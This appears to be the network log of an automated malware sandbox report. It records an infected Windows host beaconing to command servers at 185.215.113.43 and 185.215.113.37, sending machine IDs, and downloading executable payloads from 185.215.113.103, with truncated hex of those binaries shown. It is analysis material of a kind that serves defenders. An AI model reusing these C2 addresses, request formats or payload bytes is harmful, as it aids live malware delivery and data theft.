Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:03.644962072 CEST	1.1.1.1	192.168.2.5	0xccb4	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:07.238568068 CEST	1.1.1.1	192.168.2.5	0x4a80	No error (0)	www.google.com		216.58.212.132	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:07.238584995 CEST	1.1.1.1	192.168.2.5	0x5a8b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 03:29:12.216320038 CEST	1.1.1.1	192.168.2.5	0xfb57	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 03:29:12.216320038 CEST	1.1.1.1	192.168.2.5	0xfb57	No error (0)	www3.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 03:29:12.221980095 CEST	1.1.1.1	192.168.2.5	0xd172	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 03:29:13.310323000 CEST	1.1.1.1	192.168.2.5	0x8524	No error (0)	play.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

youtube.com

www.youtube.com

fs.microsoft.com

https:

accounts.youtube.com

play.google.com

www.google.com

self.events.data.microsoft.com

185.215.113.43

185.215.113.103

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49734	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:04.262132883 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:04.970451117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49735	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:06.487257957 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:07.208662033 CEST	476	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 64 0d 0a 20 3c 63 3e 31 30 30 30 33 33 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 35 62 31 63 37 37 33 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 33 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 33 33 34 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 11d <c>1000332001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e5b1c773dd534db057eb410a494d9d#1000333001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000334031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8f8e6b1ca72dd534db057eb410a494d9d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49736	185.215.113.103	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:07.217499018 CEST	56	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 3, 2024 03:27:08.015621901 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 03 Oct 2024 00:47:23 GMT ETag: "e0600-62387e5d41dcd" Accept-Ranges: bytes Content-Length: 919040 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 e9 fd 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf"Vw@`@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Oct 3, 2024 03:27:08.015652895 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$D
Oct 3, 2024 03:27:08.015666962 CEST	1236	IN	Data Raw: 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 c7 05 30 14 4d 00 74 c9 49 00 33 d2 c7 05 9c 18 4d Data Ascii: Y%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM\M`MdMh
Oct 3, 2024 03:27:08.015686035 CEST	1236	IN	Data Raw: 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff 0f 87 f1 0f 04 00 ff b7 40 fd ff ff 89 9f 44 Data Ascii: L@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Oct 3, 2024 03:27:08.015710115 CEST	1236	IN	Data Raw: 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d 00 89 0d 4c 15 4d 00 c3 55 8b ec 57 8b f9 80 Data Ascii: Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&N
Oct 3, 2024 03:27:08.015728951 CEST	672	IN	Data Raw: 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 ec 00 8d 45 ec 83 65 f4 00 56 83 ce ff c7 45 Data Ascii: 3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9X
Oct 3, 2024 03:27:08.015753984 CEST	1236	IN	Data Raw: c2 08 00 49 eb 97 41 eb 94 55 8b ec 81 ec b4 00 00 00 53 56 33 f6 c7 85 50 ff ff ff 7f 00 00 00 46 33 c9 8b c1 89 75 98 8b d1 89 4d f4 8b d9 89 4d e0 57 89 4d b4 8b f9 89 55 f8 89 5d fc 89 4d f0 89 4d e4 89 4d e8 89 4d 9c 89 45 d4 89 45 a0 66 89 Data Ascii: IAUSV3PF3uMMWMU]MMMMEEfMTEXf\MEEfM`EdfhlEpftxE\|fMMEEfM,Ff9Xu]u}!ftPU]E
Oct 3, 2024 03:27:08.015770912 CEST	1236	IN	Data Raw: ff ff 85 d2 0f 85 13 fc ff ff 85 db 0f 85 0b fc ff ff e9 2f 03 04 00 8b 45 f0 48 4f 83 bd 78 ff ff ff 00 89 45 f0 0f 84 97 00 00 00 80 7d 81 00 8b 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 Data Ascii: /EHOxE}Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&
Oct 3, 2024 03:27:08.015793085 CEST	1236	IN	Data Raw: 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 34 53 56 57 6a 0f ff 15 3c c7 49 00 68 00 7f 00 00 6a 00 8b d8 ff 15 38 c7 49 00 8b 35 34 c7 49 00 8b f8 6a 63 ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 Data Ascii: []U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W
Oct 3, 2024 03:27:08.015810013 CEST	1236	IN	Data Raw: e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 Data Ascii: KEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHH
Oct 3, 2024 03:27:08.015831947 CEST	1236	IN	Data Raw: fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 24 28 b9 c8 23 4d 00 50 e8 1b 1c 00 00 8d 4c 24 18 e8 14 74 00 00 8d 4c 24 18 e8 6d 71 00 00 8d 44 24 10 33 f6 50 6a 01 56 68 f4 ca 49 00 68 01 00 00 80 ff 15 18 c0 49 00 85 c0 0f 84 fe fb Data Ascii: h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;sF3FW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49737	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:11.144575119 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369
Oct 3, 2024 03:27:11.841325998 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49738	185.215.113.103	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:11.848726988 CEST	57	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 3, 2024 03:27:12.570653915 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 03 Oct 2024 00:54:55 GMT ETag: "1bca00-6238800be9105" Accept-Ranges: bytes Content-Length: 1821184 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 1e b4 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$h@i@P%d% %(@.rsrc %8@.idata %8@ p)%:@rdaizazfpPOh<@hwyhwwjxh@.taggant0h"@
Oct 3, 2024 03:27:12.570677996 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 3, 2024 03:27:12.570689917 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 3, 2024 03:27:12.570700884 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 3, 2024 03:27:12.570713043 CEST	1236	IN	Data Raw: 01 06 1f e3 fb 81 b1 1b 06 12 a7 ee c6 d6 01 d8 02 34 5f 06 b4 2c fe 34 a8 55 1d ee 06 d6 b8 0f 13 be 79 22 13 6a 6b 02 8f 4b c8 51 03 84 94 a0 8c 3e aa 2e ba 78 53 04 38 b9 1b ee 67 d5 67 d5 c9 b7 6b 6e d7 97 3d ec a6 8c 2d 33 9e 22 cb 47 79 e4 Data Ascii: 4_,4Uy"jkKQ>.xS8ggkn=-3"Gy)"Y2J&M'.D4_]_+Qp0V5JZ7Iu)yS'&1`/^_mP<wyxv@3\_\|l7>!iqNq
Oct 3, 2024 03:27:12.570724010 CEST	1236	IN	Data Raw: 02 5e 93 00 b4 a3 da 53 ae 20 e6 f6 4c 2c a9 22 fb fb ab 34 d5 73 ae 27 76 90 5f 44 9d b5 02 f4 2d c5 21 e2 00 10 20 75 9a 86 82 b5 9a 1b 37 49 bf fd 51 6b 93 bd 3e da 80 f0 d0 ff 3d a5 ec a1 5b c3 b3 02 da b0 95 c2 fd 3c 8b 87 6a a5 df c5 21 64 Data Ascii: ^S L,"4s'v_D-! u7IQk>=[<j!d [!U6}'k_v1HW5hNN~Rn#AW_smt59rSF0+=A<f`?#+Jzg!rc'9;K?!:N[/^TZ~
Oct 3, 2024 03:27:12.570738077 CEST	1236	IN	Data Raw: 83 71 b3 6d 57 5c f6 8d 88 3a 57 62 d6 28 b9 cf 82 44 b4 a2 12 26 aa 41 b4 2f ba cf 01 f6 2b d1 92 71 a7 2d f6 12 b4 1e 6e bb 0a e5 99 a1 b0 ff 0d 3d 77 5a 9e bb e3 c1 21 5a b0 75 f6 60 5e cf a1 bb 9f d4 d9 d9 db 95 94 c7 cf 49 17 c3 e2 ad 7a 1d Data Ascii: qmW\:Wb(D&A/+q-n=wZ!Zu`^Iz~l+=:4.U =[cmz2oC1Oz2+'rGB1.a)wFX_L!N?F[q=aYX!0q-`IM]Iu[g8i"
Oct 3, 2024 03:27:12.570837021 CEST	1236	IN	Data Raw: 3b 7a b0 cd e5 a1 d2 ab e5 7b 08 46 f6 32 2b e0 93 54 1c 61 36 42 37 d7 b3 c9 ba c6 f9 11 37 22 32 3c 67 ce 61 2c 23 08 a2 4b 0f 9e f6 32 8b e0 48 53 df 05 bd 21 db ed 89 04 a9 7b 0d 33 33 a1 f7 41 bf d6 b3 55 ba 62 05 c6 f9 ca c1 a8 b0 0d fa a5 Data Ascii: ;z{F2+Ta6B77"2<ga,#K2HS!{33AUb{#r6)Fb,U,/b?u2.IAE^)ywQ2"yi`t5Jz26bd"BLaio]69=D9`eb?2=G-=W
Oct 3, 2024 03:27:12.570851088 CEST	1236	IN	Data Raw: 0a 3c 3f cf bc 35 4f 42 4f e2 78 ce 39 a2 c9 a1 0a d6 95 88 4a 33 a7 a1 fa 32 e8 5d 7e 09 1b 00 6e 8a 25 b1 df f0 1f fe bf ca a8 a4 79 a2 0f 31 2b 2a d7 4d 8b 3c 65 54 7a e5 a6 fd 12 33 e7 c5 26 a8 e2 4d fe 87 f7 5e 8b 8d 9f 59 00 68 b7 ef 28 a2 Data Ascii: <?5OBOx9J32]~n%y1+*M<eTz3&M^Yh(<1<3:?T8b}Q0z2kcRz%y'_ QiEYA2R-m"SgyF6Y{MhiA+be
Oct 3, 2024 03:27:12.570863962 CEST	1236	IN	Data Raw: dd 2d 50 cd 38 a1 0c 82 a5 d6 13 d2 62 0d 3c dd 81 b2 f6 ff 89 41 4c d3 8c a4 14 c6 a1 8e 3d e5 d0 77 0a 9e 92 e9 b8 15 7d 40 70 ca 19 a8 18 91 79 c6 fc 95 ec 59 8c 0f 0f 86 47 12 82 5a 22 5e f7 d6 d3 0e 68 72 a4 0d 79 26 fa 3a f2 1f b7 25 44 27 Data Ascii: -P8b<AL=w}@pyYGZ"^hry&:%D'$w=EHh"fi&\O'2]>e <bz4>>e(@?-H<ORRL1GAW8U%LI_\!j5]D
Oct 3, 2024 03:27:12.575699091 CEST	1236	IN	Data Raw: 5c 56 3f f0 d9 fb 30 82 02 86 1b 35 c7 1d ff a0 68 0c bf 27 7f 5c 7d fc 41 bb f4 d0 58 f2 89 0e 13 27 81 ca 55 14 da 47 e3 0b f0 ad af 01 7b 84 41 0b 33 a9 d0 5e 87 83 78 31 8b 00 68 2a a9 f6 18 ce 8d 2f 31 70 b3 f3 64 23 74 b4 87 33 5c d4 84 4c Data Ascii: \V?05h'\}AX'UG{A3^x1h*/1pd#t3\L>3[hNZRpoho/PzL@A"CpiaO8b[CSn^9[@8CO;TF0A"$,8a{H3:ch]:VB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49748	185.215.113.37	80	2516	C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:16.356786013 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 03:27:17.074095011 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 03:27:17.082078934 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="hwid"4991C382B7451388941053------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="build"doma------FCFBFBFBKFIDHJKFCAFC--
Oct 3, 2024 03:27:17.333034039 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49749	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:16.397782087 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000333001&unit=246122658369
Oct 3, 2024 03:27:17.116305113 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49751	185.215.113.103	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:17.294867039 CEST	146	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Thu, 03 Oct 2024 00:54:55 GMT If-None-Match: "1bca00-6238800be9105"
Oct 3, 2024 03:27:18.063762903 CEST	196	IN	HTTP/1.1 304 Not Modified Date: Thu, 03 Oct 2024 01:27:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 03 Oct 2024 00:54:55 GMT ETag: "1bca00-6238800be9105" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49759	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
